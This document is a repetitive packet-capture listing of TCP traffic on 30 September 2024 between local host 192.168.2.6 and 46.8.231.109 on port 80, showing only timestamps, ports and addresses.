Sep 30, 2024 13:59:44.831883907 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831896067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831912041 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831924915 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831928015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831942081 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831953049 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831953049 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831973076 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831998110 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.832509995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832520962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832531929 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832546949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832560062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832568884 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.832571983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832582951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832602024 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.832618952 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.832711935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832722902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832734108 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832746983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832756996 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.832757950 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832770109 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832773924 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.832782030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832787037 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.832793951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.832820892 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.832845926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833484888 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833497047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833518982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833528996 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833532095 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833542109 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833542109 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833551884 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833570957 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833576918 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833587885 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833595037 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833599091 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833611965 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833619118 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833630085 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833636999 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833640099 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833673000 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833676100 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833683014 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833686113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833703041 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.833713055 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833724022 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.833740950 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.834466934 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834480047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834490061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834511042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834523916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834534883 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834539890 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.834547043 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834558964 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.834590912 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.834661961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834672928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834683895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834693909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834701061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834702015 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.834712029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834723949 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.834723949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834737062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.834744930 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.834774971 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.835397005 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.835666895 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916022062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916039944 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916063070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916076899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916075945 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916094065 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916101933 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916110992 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916115046 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916126966 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916137934 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916138887 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916150093 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916167974 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916191101 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916193962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916203976 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916213989 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916225910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916225910 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916239977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916337967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916348934 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916357994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916358948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916368961 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916383982 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916398048 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916424036 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916440010 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916456938 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916466951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916476965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916490078 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916492939 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916501045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916529894 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916543007 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916553974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916564941 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916574955 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916618109 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916618109 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916722059 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916738033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916752100 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916771889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916785002 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916796923 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916800022 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916807890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916819096 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916825056 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916830063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916840076 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916877031 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.916953087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.916965008 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.917016029 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919106960 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919174910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919193029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919203997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919218063 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919249058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919250011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919260025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919296980 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919307947 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919312000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919332981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919343948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919353962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919357061 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919373989 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919404984 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919450045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919462919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919482946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919493914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919495106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919504881 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.919509888 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919527054 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.919549942 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.920933962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.920955896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.920965910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.920984983 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921000004 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921036959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921049118 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921060085 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921070099 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921076059 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921113968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921125889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921125889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921138048 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921147108 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921149015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921160936 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921175003 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921197891 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921200037 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921221018 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921233892 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921236992 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921248913 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921253920 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921261072 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921269894 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921272039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921286106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921303988 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921503067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921514988 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921525002 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921551943 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921556950 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921569109 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921576977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921580076 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921600103 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921622992 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921632051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921675920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921688080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921720982 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921741009 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921765089 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921777964 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921788931 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921799898 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921802044 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921818972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921838045 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921878099 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921933889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921947956 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.921978951 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.921993971 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922004938 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922005892 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922015905 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922028065 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922028065 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922043085 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922055006 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922072887 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922132015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922142029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922152042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922163963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922174931 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922174931 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922193050 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922195911 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922204971 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922211885 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922214985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922235966 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922269106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922383070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922415018 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922435045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922446012 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922471046 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922502041 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922513008 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922524929 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922538042 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922566891 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922595978 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922607899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922617912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922627926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922640085 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922651052 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922652006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922662973 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922674894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922684908 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922694921 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922697067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922707081 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.922712088 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922729969 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.922741890 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.004805088 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004828930 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004841089 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004851103 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004862070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004873991 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004885912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004890919 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.004908085 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004920006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004930973 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004935980 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.004941940 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004956007 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.004956007 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004967928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004975080 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.004980087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.004987001 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005002022 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005012035 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005016088 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005023003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005033970 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005042076 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005047083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005059004 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005062103 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005073071 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005083084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005086899 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005095005 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005105019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005114079 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005117893 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005126953 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005140066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005151033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005156040 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005161047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005172014 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005173922 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005182981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005193949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.005204916 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.005228043 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.007677078 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007776976 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007786989 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007802963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007814884 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007824898 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007824898 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.007836103 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007846117 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007858038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007860899 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.007877111 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007879972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.007889032 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.007896900 CEST	49727	80	192.168.2.6	46.8.231.109
